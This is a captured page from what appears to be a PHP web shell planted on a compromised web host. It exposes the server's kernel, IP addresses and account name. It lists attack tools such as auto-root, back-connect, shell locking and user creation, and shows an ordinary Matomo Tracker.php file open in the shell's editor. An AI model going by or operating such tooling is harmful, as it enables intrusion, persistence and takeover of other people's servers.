Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.141.19.115
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxr-xr-x
Access
[ DIR ]
drwxr-xr-x
Application
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
ArchiveProcessor
[ DIR ]
drwxr-xr-x
Archiver
[ DIR ]
drwxr-xr-x
AssetManager
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Category
[ DIR ]
drwxr-xr-x
Changes
[ DIR ]
drwxr-xr-x
CliMulti
[ DIR ]
drwxr-xr-x
Columns
[ DIR ]
drwxr-xr-x
Concurrency
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
CronArchive
[ DIR ]
drwxr-xr-x
DataAccess
[ DIR ]
drwxr-xr-x
DataFiles
[ DIR ]
drwxr-xr-x
DataTable
[ DIR ]
drwxr-xr-x
Db
[ DIR ]
drwxr-xr-x
DeviceDetector
[ DIR ]
drwxr-xr-x
Email
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Intl
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Measurable
[ DIR ]
drwxr-xr-x
Menu
[ DIR ]
drwxr-xr-x
Metrics
[ DIR ]
drwxr-xr-x
Notification
[ DIR ]
drwxr-xr-x
Period
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
ProfessionalServices
[ DIR ]
drwxr-xr-x
Report
[ DIR ]
drwxr-xr-x
ReportRenderer
[ DIR ]
drwxr-xr-x
Scheduler
[ DIR ]
drwxr-xr-x
Segment
[ DIR ]
drwxr-xr-x
Session
[ DIR ]
drwxr-xr-x
Settings
[ DIR ]
drwxr-xr-x
Tracker
[ DIR ]
drwxr-xr-x
Translation
[ DIR ]
drwxr-xr-x
UpdateCheck
[ DIR ]
drwxr-xr-x
Updater
[ DIR ]
drwxr-xr-x
Updates
[ DIR ]
drwxr-xr-x
Validators
[ DIR ]
drwxr-xr-x
View
[ DIR ]
drwxr-xr-x
ViewDataTable
[ DIR ]
drwxr-xr-x
Visualization
[ DIR ]
drwxr-xr-x
Widget
[ DIR ]
drwxr-xr-x
.htaccess
545
B
-rw-r--r--
Access.php
24.89
KB
-rw-r--r--
Archive.php
35.4
KB
-rw-r--r--
ArchiveProcessor.php
26.97
KB
-rw-r--r--
AssetManager.php
15.48
KB
-rw-r--r--
Auth.php
4.03
KB
-rw-r--r--
AuthResult.php
2.13
KB
-rw-r--r--
BaseFactory.php
1.77
KB
-rw-r--r--
Cache.php
3.51
KB
-rw-r--r--
CacheId.php
2.53
KB
-rw-r--r--
CliMulti.php
14.98
KB
-rw-r--r--
Common.php
39.79
KB
-rw-r--r--
Config.php
14.69
KB
-rw-r--r--
Console.php
10.09
KB
-rw-r--r--
Context.php
3.42
KB
-rw-r--r--
Cookie.php
15.12
KB
-rw-r--r--
CronArchive.php
50.69
KB
-rw-r--r--
DataArray.php
17.97
KB
-rw-r--r--
DataTable.php
69.61
KB
-rw-r--r--
Date.php
35.04
KB
-rw-r--r--
Db.php
29.43
KB
-rw-r--r--
DbHelper.php
10.84
KB
-rw-r--r--
Development.php
6.67
KB
-rw-r--r--
ErrorHandler.php
7.55
KB
-rw-r--r--
EventDispatcher.php
6.79
KB
-rw-r--r--
ExceptionHandler.php
7.06
KB
-rw-r--r--
FileIntegrity.php
15.8
KB
-rw-r--r--
Filechecks.php
8.79
KB
-rw-r--r--
Filesystem.php
18.74
KB
-rw-r--r--
FrontController.php
29.31
KB
-rw-r--r--
Http.php
44.42
KB
-rw-r--r--
IP.php
5.08
KB
-rw-r--r--
Log.php
8.14
KB
-rw-r--r--
LogDeleter.php
3.81
KB
-rw-r--r--
Mail.php
9.32
KB
-rw-r--r--
Metrics.php
20.76
KB
-rw-r--r--
NoAccessException.php
398
B
-rw-r--r--
Nonce.php
8.25
KB
-rw-r--r--
Notification.php
5.72
KB
-rw-r--r--
NumberFormatter.php
10
KB
-rw-r--r--
Option.php
8.25
KB
-rw-r--r--
Period.php
13.52
KB
-rw-r--r--
Piwik.php
27.95
KB
-rw-r--r--
Plugin.php
21.52
KB
-rw-r--r--
Profiler.php
13.32
KB
-rw-r--r--
ProxyHeaders.php
2.16
KB
-rw-r--r--
ProxyHttp.php
11.94
KB
-rw-r--r--
QuickForm2.php
3.94
KB
-rw-r--r--
RankingQuery.php
13.06
KB
-rw-r--r--
ReportRenderer.php
8.59
KB
-rw-r--r--
Segment.php
24.24
KB
-rw-r--r--
Sequence.php
3.11
KB
-rw-r--r--
Session.php
8.04
KB
-rw-r--r--
SettingsPiwik.php
18.07
KB
-rw-r--r--
SettingsServer.php
7.58
KB
-rw-r--r--
Singleton.php
1.46
KB
-rw-r--r--
Site.php
17.86
KB
-rw-r--r--
SiteContentDetector.php
14.22
KB
-rw-r--r--
SupportedBrowser.php
2.25
KB
-rw-r--r--
TCPDF.php
1.87
KB
-rw-r--r--
Theme.php
4.93
KB
-rw-r--r--
Timer.php
2.57
KB
-rw-r--r--
Tracker.php
11.79
KB
-rw-r--r--
Twig.php
19.74
KB
-rw-r--r--
Unzip.php
1.28
KB
-rw-r--r--
UpdateCheck.php
3.34
KB
-rw-r--r--
Updater.php
25.08
KB
-rw-r--r--
UpdaterErrorException.php
304
B
-rw-r--r--
Updates.php
3.86
KB
-rw-r--r--
Url.php
25.67
KB
-rw-r--r--
UrlHelper.php
11.24
KB
-rw-r--r--
Version.php
806
B
-rw-r--r--
View.php
18.2
KB
-rw-r--r--
bootstrap.php
2.03
KB
-rw-r--r--
dispatch.php
928
B
-rw-r--r--
testMinimumPhpVersion.php
10.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Tracker.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik; use Exception; use Piwik\Container\StaticContainer; use Piwik\Plugins\BulkTracking\Tracker\Requests; use Piwik\Plugins\PrivacyManager\Config as PrivacyManagerConfig; use Piwik\Tracker\Db as TrackerDb; use Piwik\Tracker\Db\DbException; use Piwik\Tracker\Handler; use Piwik\Tracker\Request; use Piwik\Tracker\RequestSet; use Piwik\Tracker\TrackerConfig; use Piwik\Tracker\Visit; use Piwik\Plugin\Manager as PluginManager; use Psr\Log\LoggerInterface; /** * Class used by the logging script piwik.php called by the javascript tag. * Handles the visitor and their actions on the website, saves the data in the DB, * saves information in the cookie, etc. * * We try to include as little files as possible (no dependency on 3rd party modules). */ class Tracker { /** * @var Db */ private static $db = null; // We use hex ID that are 16 chars in length, ie. 64 bits IDs const LENGTH_HEX_ID_STRING = 16; const LENGTH_BINARY_ID = 8; public static $initTrackerMode = false; private $countOfLoggedRequests = 0; protected $isInstalled = null; /** * @var LoggerInterface */ private $logger; public function __construct() { $this->logger = StaticContainer::get(LoggerInterface::class); } public function isDebugModeEnabled() { return array_key_exists('PIWIK_TRACKER_DEBUG', $GLOBALS) && $GLOBALS['PIWIK_TRACKER_DEBUG'] === true; } public function shouldRecordStatistics() { $record = TrackerConfig::getConfigValue('record_statistics') != 0; if (!$record) { $this->logger->debug('Tracking is disabled in the config.ini.php via record_statistics=0'); } return $record && $this->isInstalled(); } public static function loadTrackerEnvironment() { SettingsServer::setIsTrackerApiRequest(); if (empty($GLOBALS['PIWIK_TRACKER_DEBUG'])) { $GLOBALS['PIWIK_TRACKER_DEBUG'] = self::isDebugEnabled(); } if (!empty($GLOBALS['PIWIK_TRACKER_DEBUG']) && !Common::isPhpCliMode()) { Common::sendHeader('Content-Type: text/plain'); } PluginManager::getInstance()->loadTrackerPlugins(); } private function init() { $this->handleFatalErrors(); if ($this->isDebugModeEnabled()) { ErrorHandler::registerErrorHandler(); ExceptionHandler::setUp(); $this->logger->debug("Debug enabled - Input parameters: {params}", [ 'params' => var_export($_GET + $_POST, true), ]); } } public function isInstalled() { if (is_null($this->isInstalled)) { $this->isInstalled = SettingsPiwik::isMatomoInstalled(); } return $this->isInstalled; } public function main(Handler $handler, RequestSet $requestSet) { try { $this->init(); if ($this->isPreFlightCorsRequest()) { Common::sendHeader('Access-Control-Allow-Methods: GET, POST'); Common::sendHeader('Access-Control-Allow-Headers: *'); Common::sendHeader('Access-Control-Allow-Origin: *'); Common::sendResponseCode(204); $this->logger->debug("Tracker detected preflight CORS request. Skipping..."); return null; } $handler->init($this, $requestSet); $this->track($handler, $requestSet); } catch (Exception $e) { $this->logger->debug("Tracker encountered an exception: {ex}", [$e]); $handler->onException($this, $requestSet, $e); } Piwik::postEvent('Tracker.end'); $response = $handler->finish($this, $requestSet); $this->disconnectDatabase(); return $response; } public function track(Handler $handler, RequestSet $requestSet) { if (!$this->shouldRecordStatistics()) { return; } $requestSet->initRequestsAndTokenAuth(); if ($requestSet->hasRequests()) { $handler->onStartTrackRequests($this, $requestSet); $handler->process($this, $requestSet); $handler->onAllRequestsTracked($this, $requestSet); } } /** * @param Request $request * @return array */ public function trackRequest(Request $request) { if ($request->isEmptyRequest()) { $this->logger->debug('The request is empty'); } else { $this->logger->debug('Current datetime: {date}', [ 'date' => date("Y-m-d H:i:s", $request->getCurrentTimestamp()), ]); $visit = Visit\Factory::make(); $visit->setRequest($request); $visit->handle(); } // increment successfully logged request count. make sure to do this after try-catch, // since an excluded visit is considered 'successfully logged' ++$this->countOfLoggedRequests; } /** * Used to initialize core Piwik components on a piwik.php request * Eg. when cache is missed and we will be calling some APIs to generate cache */ public static function initCorePiwikInTrackerMode() { if ( SettingsServer::isTrackerApiRequest() && self::$initTrackerMode === false ) { self::$initTrackerMode = true; require_once PIWIK_INCLUDE_PATH . '/core/Option.php'; Access::getInstance(); Config::getInstance(); try { Db::get(); } catch (Exception $e) { Db::createDatabaseObject(); } PluginManager::getInstance()->loadCorePluginsDuringTracker(); } } public static function restoreTrackerPlugins() { if (SettingsServer::isTrackerApiRequest() && Tracker::$initTrackerMode) { Plugin\Manager::getInstance()->loadTrackerPlugins(); } } public function getCountOfLoggedRequests() { return $this->countOfLoggedRequests; } public function setCountOfLoggedRequests($numLoggedRequests) { $this->countOfLoggedRequests = $numLoggedRequests; } public function hasLoggedRequests() { return 0 !== $this->countOfLoggedRequests; } public function isDatabaseConnected() { return !is_null(self::$db); } public static function getDatabase() { if (is_null(self::$db)) { try { self::$db = TrackerDb::connectPiwikTrackerDb(); } catch (Exception $e) { $code = $e->getCode(); // Note: PDOException might return a string as code, but we can't use this for DbException throw new DbException($e->getMessage(), is_int($code) ? $code : 0); } } return self::$db; } protected function disconnectDatabase() { if ($this->isDatabaseConnected()) { // note: I think we do this only for the tests self::$db->disconnect(); self::$db = null; } } // for tests public static function disconnectCachedDbConnection() { // code redundancy w/ above is on purpose; above disconnectDatabase depends on method that can potentially be overridden if (!is_null(self::$db)) { self::$db->disconnect(); self::$db = null; } } public static function setTestEnvironment($args = null, $requestMethod = null) { if (is_null($args)) { $requests = new Requests(); $args = $requests->getRequestsArrayFromBulkRequest($requests->getRawBulkRequest()); $args = $_GET + $args; } if (is_null($requestMethod) && array_key_exists('REQUEST_METHOD', $_SERVER)) { $requestMethod = $_SERVER['REQUEST_METHOD']; } elseif (is_null($requestMethod)) { $requestMethod = 'GET'; } // Do not run scheduled tasks during tests if (!defined('DEBUG_FORCE_SCHEDULED_TASKS')) { TrackerConfig::setConfigValue('scheduled_tasks_min_interval', 0); } // if nothing found in _GET/_POST and we're doing a POST, assume bulk request. in which case, // we have to bypass authentication if (empty($args) && $requestMethod == 'POST') { TrackerConfig::setConfigValue('tracking_requests_require_authentication', 0); } // Tests can force the use of 3rd party cookie for ID visitor if (Common::getRequestVar('forceEnableFingerprintingAcrossWebsites', false, null, $args) == 1) { TrackerConfig::setConfigValue('enable_fingerprinting_across_websites', 1); } // Tests can simulate the tracker API maintenance mode if (Common::getRequestVar('forceEnableTrackerMaintenanceMode', false, null, $args) == 1) { TrackerConfig::setConfigValue('record_statistics', 0); } // Tests can force the use of 3rd party cookie for ID visitor if (Common::getRequestVar('forceUseThirdPartyCookie', false, null, $args) == 1) { TrackerConfig::setConfigValue('use_third_party_id_cookie', 1); } // Tests using window_look_back_for_visitor if ( Common::getRequestVar('forceLargeWindowLookBackForVisitor', false, null, $args) == 1 // also look for this in bulk requests (see fake_logs_replay.log) || strpos(json_encode($args, true), '"forceLargeWindowLookBackForVisitor":"1"') !== false ) { TrackerConfig::setConfigValue('window_look_back_for_visitor', 2678400); } // Tests can force the enabling of IP anonymization if (Common::getRequestVar('forceIpAnonymization', false, null, $args) == 1) { self::getDatabase(); // make sure db is initialized $privacyConfig = new PrivacyManagerConfig(); $privacyConfig->ipAddressMaskLength = 2; \Piwik\Plugins\PrivacyManager\IPAnonymizer::activate(); \Piwik\Tracker\Cache::deleteTrackerCache(); Filesystem::clearPhpCaches(); } } protected function loadTrackerPlugins() { try { $pluginManager = PluginManager::getInstance(); $pluginsTracker = $pluginManager->loadTrackerPlugins(); $this->logger->debug("Loading plugins: { {plugins} }", [ 'plugins' => implode(", ", $pluginsTracker), ]); } catch (Exception $e) { $this->logger->error('Error loading tracker plugins: {exception}', [ 'exception' => $e, ]); } } private function handleFatalErrors() { register_shutdown_function(function () { // TODO: add a log here $lastError = error_get_last(); if (!empty($lastError) && $lastError['type'] == E_ERROR) { Common::sendResponseCode(500); } }); } private static function isDebugEnabled() { try { $debug = (bool) TrackerConfig::getConfigValue('debug'); if ($debug) { return true; } $debugOnDemand = (bool) TrackerConfig::getConfigValue('debug_on_demand'); if ($debugOnDemand) { return (bool) Common::getRequestVar('debug', false); } } catch (Exception $e) { } return false; } public function isPreFlightCorsRequest(): bool { if (isset($_SERVER['REQUEST_METHOD']) && strtoupper($_SERVER['REQUEST_METHOD']) === 'OPTIONS') { return !empty($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS']) || !empty($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_METHOD']); } return false; } }
Close